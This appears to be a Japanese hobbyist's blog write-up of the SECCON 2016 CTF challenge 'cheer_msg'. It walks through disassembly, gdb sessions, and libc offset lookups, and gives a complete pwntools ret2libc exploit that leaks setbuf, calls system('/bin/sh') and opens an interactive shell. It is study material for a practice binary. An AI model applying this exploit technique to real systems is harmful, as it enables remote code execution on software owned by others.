1日ひとつだけ強くなる

おべんきょうのーと

SECCON 2016 Online 復習:cheer_msg

はじめに

12/10 15:00-12/11 15:00の24時間、SECCON 2016のオンライン予選が開催されました。僕はチームg0tiu5aで参戦したのですが、点数を入れられず…..もっと精進して解けるようになりたいと思います。

チームとしては400点獲得しました。

僕は10日はバイトだったのですが、帰宅に失敗し24時を過ぎたくらいから挑戦しました。

pwn, revを勉強していたので、100点の問題くらいは解きたいなぁと考えていたんですが、まだまだ実力不足でした。

今回はpwn100 cheer_msgがようやく解けたので書いていきます。

解いた問題は学習のために続々Upしていきたい所存です。

cheer_msg

友利奈緒に応援メッセージを送るプログラムを渡されます。

$ file cheer_msg
cheer_msg: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=ed63cb3a04480eeb344d7d567c893805a1119f2f, not stripped

$ checksec cheer_msg
[*] '/home/ubuntu/writeup/seccon2016/cheer_msg/cheer_msg'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

コンテスト中に、Message Lengthに負数を渡すとなんか挙動がおかしくなるなぁって気づいてたんですが、実力不足でそこから進めませんでした。

080485ca <main>:
 80485ca:   8d 4c 24 04             lea    ecx,[esp+0x4]
 80485ce:   83 e4 f0                and    esp,0xfffffff0
 80485d1:   ff 71 fc                push   DWORD PTR [ecx-0x4]
 80485d4:   55                      push   ebp
 80485d5:   89 e5                   mov    ebp,esp
 80485d7:   51                      push   ecx
 80485d8:   83 ec 24                sub    esp,0x24
 80485db:   c7 04 24 e0 87 04 08    mov    DWORD PTR [esp],0x80487e0
 80485e2:   e8 49 fe ff ff          call   8048430 <printf@plt>
 80485e7:   e8 21 01 00 00          call   804870d <getint>
 80485ec:   89 45 f0                mov    DWORD PTR [ebp-0x10],eax
 80485ef:   8b 45 f0                mov    eax,DWORD PTR [ebp-0x10]
 80485f2:   8d 50 0f                lea    edx,[eax+0xf]
 80485f5:   b8 10 00 00 00          mov    eax,0x10
 80485fa:   83 e8 01                sub    eax,0x1
 80485fd:   01 d0                   add    eax,edx
 80485ff:   b9 10 00 00 00          mov    ecx,0x10
 8048604:   ba 00 00 00 00          mov    edx,0x0
 8048609:   f7 f1                   div    ecx
 804860b:   6b c0 10                imul   eax,eax,0x10
 804860e:   29 c4                   sub    esp,eax
 8048610:   8d 44 24 08             lea    eax,[esp+0x8]
 8048614:   83 c0 0f                add    eax,0xf
 8048617:   c1 e8 04                shr    eax,0x4
 804861a:   c1 e0 04                shl    eax,0x4
 804861d:   89 45 f4                mov    DWORD PTR [ebp-0xc],eax
 8048620:   8b 45 f0                mov    eax,DWORD PTR [ebp-0x10]
 8048623:   89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 8048627:   8b 45 f4                mov    eax,DWORD PTR [ebp-0xc]
 804862a:   89 04 24                mov    DWORD PTR [esp],eax
 804862d:   e8 0a 00 00 00          call   804863c <message>
 8048632:   c9                      leave  
 8048633:   c3                      ret

getintで正数を与えるとその分だけespを減算してメッセージのbufferの領域を確保してくれますが、負数を入れるとそのまま負数を減算します。つまり、espを高位アドレスに移すことができます。

gdb-peda$ 
-150
[------------------------------------------registers------------------------------------------]
EAX: 0x4 
EBX: 0xf7fb3000 --> 0x1aada8 
ECX: 0xc (b'\x0c')
EDX: 0x4 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffd0d8 --> 0xffffd118 --> 0x0 
ESP: 0xffffd070 --> 0xffffd08c ("-150")
EIP: 0x8048690 (<message+84>:   mov    eax,DWORD PTR [ebp-0x5c])
[--------------------------------------------code---------------------------------------------]
   0x8048685 <message+73>:   lea    eax,[ebp-0x4c]
   0x8048688 <message+76>:   mov    DWORD PTR [esp],eax
   0x804868b <message+79>:   call   0x80486bd <getnline>
=> 0x8048690 <message+84>:   mov    eax,DWORD PTR [ebp-0x5c]
   0x8048693 <message+87>:   mov    DWORD PTR [esp+0x8],eax
   0x8048697 <message+91>:   lea    eax,[ebp-0x4c]
   0x804869a <message+94>:   mov    DWORD PTR [esp+0x4],eax
   0x804869e <message+98>:   mov    DWORD PTR [esp],0x804887d
[--------------------------------------------stack--------------------------------------------]

Message Length = -150NAME = (pattoc 100)とかでやってみると、オフセット0でEIPを奪えた。

[------------------------------------------registers------------------------------------------]
EAX: 0x0 
EBX: 0xf7fb3000 --> 0x1aada8 
ECX: 0x57 (b'W')
EDX: 0xf7fb4898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x0 
ESP: 0xffffd120 ("AAsAABAA$AAnAAC"...)
EIP: 0x25414141 (b'AAA%')
[--------------------------------------------code---------------------------------------------]
Invalid $PC address: 0x25414141
[--------------------------------------------stack--------------------------------------------]
00:0000| esp 0xffffd120 ("AAsAABAA$AAnAAC"...)
01:0004|     0xffffd124 ("ABAA$AAnAACAA-A"...)
02:0008|     0xffffd128 ("$AAnAACAA-AA(AA"...)
03:0012|     0xffffd12c ("AACAA-AA(AADAA;"...)
04:0016|     0xffffd130 ("A-AA(AADAA;AA)A"...)
05:0020|     0xffffd134 ("(AADAA;AA)AAEAA"...)
06:0024|     0xffffd138 ("AA;AA)AAEAAaAA0"...)
07:0028|     0xffffd13c ("A)AAEAAaAA0AAFA"...)
[---------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
Stopped reason: SIGSEGV
0x25414141 in ?? ()
gdb-peda$ patto AAA%
AAA% found at offset: 0

EIPは奪えたが、フラッグを読んでる関数は存在しないっぽいしバイナリ中にシェルを起動する関数もないっぽい。 libcのsystem関数を呼び出すret2libcすれば良い。

そのためにはlibcのbase addressをsetbuf関数のアドレスをprintfすることでleakしてやれば良い。

1回目のStackは以下のようにつむ。

--------------------------------------------------
printf@plt
--------------------------------------------------
main
--------------------------------------------------
"\nThank you %s!\nMessage : %s\n"のアドレス
--------------------------------------------------
setbuf@pltのGOTアドレス
--------------------------------------------------

それぞれのオフセットを調べておく。

$ nm -D libc-2.19.so | grep setbuf
0006de50 T _IO_file_setbuf
001278a0 T _IO_file_setbuf
00065d80 T _IO_setbuffer
00067b20 T setbuf

$ nm -D libc-2.19.so | grep system
00040310 T __libc_system
001193c0 T svcerr_systemerr
00040310 W system

$ strings -a -tx libc-2.19.so | grep sh$
   e45b inet6_opt_finish
   f397 _IO_wdefault_finish
   f97b _IO_fflush
  117fe _IO_file_finish
  11cf9 bdflush
  1214b tcflush
  123fd _IO_default_finish
 15df25 Trailing backslash
 15e3f8 sys/net/ash
 16084c /bin/sh

setbufのlib base addressとのオフセットは0x67b20であることがわかるので、systemと引数の/bin/shのアドレスが求まる。

setbufのアドレスも調べておく。

$ readelf -r cheer_msg | grep .plt -A20
Relocation section '.rel.plt' at offset 0x3a0 contains 9 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a00c  00000107 R_386_JUMP_SLOT   00000000   setbuf
0804a010  00000207 R_386_JUMP_SLOT   00000000   printf
0804a014  00000307 R_386_JUMP_SLOT   00000000   fgets
0804a018  00000407 R_386_JUMP_SLOT   00000000   __stack_chk_fail
0804a01c  00000507 R_386_JUMP_SLOT   00000000   __gmon_start__
0804a020  00000607 R_386_JUMP_SLOT   00000000   strchr
0804a024  00000707 R_386_JUMP_SLOT   00000000   strlen
0804a028  00000807 R_386_JUMP_SLOT   00000000   __libc_start_main
0804a02c  00000907 R_386_JUMP_SLOT   00000000   atoi

2度目のStackは以下のようになる。

-------------------------------
system
-------------------------------
'AAAA'(適当)
-------------------------------
`/bin/sh`のアドレス
-------------------------------

最終的なコードは以下のようになりました。

from pwn import *
import sys

r = remote("localhost", 4444)

"""
# libc offset
00067b20 T setbuf
00040310 W system
 16084c /bin/sh
"""

offset_setbuf = 0x67b20
offset_system = 0x40310
offset_binsh = 0x16084c

main        = 0x080485ca
printf_plt  = 0x08048430
str_addr    = 0x0804887d
setbuf_addr = 0x0804a00c

r.recvuntil('Message Length >> ')
r.sendline('-150')

"""
# stack
- printf
- main
- '\nThank...
- setbuf
"""

rop = ''.join([
    p32(printf_plt),
    p32(main),
    p32(str_addr),
    p32(setbuf_addr),
    ])

r.recvuntil('Name >> ')
r.sendline(rop)

#print r.recv()
#print r.recv()

r.recvuntil('Message : \n\n')

addr = r.recvline()[:-2] # remove '\n!' from  'Thank you %s\n!'
leaked_setbuf = u32(addr[10:14]) # len('Thank you ') -> 10

libc_base_addr = leaked_setbuf - offset_setbuf
system_addr = libc_base_addr + offset_system
binsh_addr = libc_base_addr + offset_binsh

print "[*] address leaked."
print "leaked_setbuf = {0}".format(hex(leaked_setbuf))
print "libc_base_addr = {0}".format(hex(libc_base_addr))
print "system_addr = {0}".format(hex(system_addr))
print "binsh_addr = {0}".format(hex(binsh_addr))

"""
stack:
- system
- 'AAAA'
- '/bin/sh'
"""

rop = ''.join([
    p32(system_addr),
    'AAAA',
    p32(binsh_addr),
    ])

r.recvuntil('Message Length >> ')
r.sendline('-150')
r.recvuntil('Name >> ')
r.sendline(rop)

r.interactive()
$ python exploit.py 
[+] Opening connection to localhost on port 4444: Done
[*] address leaked.
leaked_setbuf = 0xf7e6fb20
libc_base_addr = 0xf7e08000
system_addr = 0xf7e48310
binsh_addr = 0xf7f6884c
[*] Switching to interactive mode

Thank you \x10\x83ä÷AAAAL\x88ö÷!
Message : 
$ ls 
cheer_msg
exploit.py
input.txt
libc-2.19.so
peda-session-cheer_msg.txt
$  

感想

正直まだまだ理解できてないことが多いな、ってのを当日取り組みながら&復習しながら感じました。まだまだアセンブリニーモニックすら読めてないし、ROPも実践するの初めてだし。(本の演習とかはするけど、問題解く感覚とは違う気がする)いろんな演算してる処理見てると後回しにしちゃう癖があるので、アセンブリ読みつつ、gdbで実行してみて実際の値がどうなってるか、てのを地道に見ていくのが必要だなぁと感じました。

あとは、実際に当日解いてた時は負数を-100とかにして入力いじってみても正常に終了してたり、例えばEIPにでてる表記をpattoで調べてもパターン検出しなかったり、やり直したら出てきました。(汗)入力のパターン数をもっと増やしてみるのが必要ですね。pwnlibとかもあんまうまく使えてなかったけど、これ書きながらなんとなく基本的な(?)使い方は理解したのでガンガン使っていきたいです。

解けなかったのはとても悔しいけど、知識が実践で定着していく、って感覚はとても楽しいし次は得点してやるぞ!って気持ちです。 自分の手数を増やしていきたいので復習終わったらbataさんのpwnリスト埋めと復習を続けていきます。

参考

SECCON 2016 Online Exploit作問 1/2 (cheer_msg, checker, shopping) - ShiftCrops つれづれなる備忘録

SECCON 2016 Online CTF 供養(Writeup) - ももいろテクノロジー

SECCON 2016 Online writeup - yuta1024's diary

cheer msg - HackMD